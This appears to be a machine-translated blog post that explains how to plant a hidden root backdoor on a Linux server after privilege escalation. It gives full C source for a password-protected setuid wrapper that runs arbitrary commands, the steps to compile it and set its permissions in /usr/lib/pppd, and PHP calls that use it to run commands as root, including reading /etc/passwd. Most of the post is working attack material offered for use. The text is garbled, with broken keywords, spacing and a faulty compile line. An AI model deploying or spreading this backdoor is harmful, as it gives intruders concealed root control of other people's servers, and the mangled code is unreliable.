An excessive script privilege Method

Summer vacation is boring, so I studied backdoors.

I used to have an idea: After Linux Elevation of Privilege, various backdoors are not concealed, and various firewalls are BT. Can PHP inherit suid permissions as backdoors.
After testing, this idea is feasible.

First, write a section C named: run. c and grant suid permission.

# Include <stdio. h>
# Include <stdlib. h>
# Include <sys/types. h>
# Include <unistd. h>
# Include <string. h>
Int main (int argc, char * argv [])
{
Char * pass = "imspider ";

If (argc <3)
{
Printf ("error \ n ");
Return 0;
}
Uid_t uid, euid;
Uid = getuid ();
Euid = geteuid ();
If (setreuid (euid, uid ))
Perror ("setreuid ");
Int s;
If (strcmp (argv [2], pass) = 0)
{
For (s = 3; s <argc; s ++)
{
Strcat (argv [1], "");
Strcat (argv [1], argv [s]);
}
System (argv [1]);
}
Else
{
Printf ("\ n -- Password error -- \ n ");
}
Return 0;
}

The program receives more than three parameters. The third parameter is the password (argv [2]), char * pass = "imspider", and the password is imspider.
If the password is correct, the system command can be executed.

Here I compile run. c to the/usr/lib/pppd path:

Root @ spider:/usr/lib/pppd # gcc-Wall-o run. c
Root @ spider:/usr/lib/pppd # chmod u + s run

The following PHP Code focuses on:
Here, we use the built-in system function of PHP. if the system is disabled, we can use the PHP extension. I have mentioned it before and I will not explain it here.
For example, if you want to view/etc/passwd, the third parameter mentioned above is the password.

<? Php
Echo '<pre> ';
System ('/usr/lib/pppd/run cat imspider/etc/passwd ');
Echo '</pre> ';
?>

System ('/usr/lib/pppd/run whoami imspider'); // call run to view the current user and output the root user.
System ('/usr/lib/pppd/run whoami fuck'); // if the Password is incorrect, a Password error is returned.
System ('whoam'); // do not call run to view the current user and output www.

I am bored and made a command interaction page.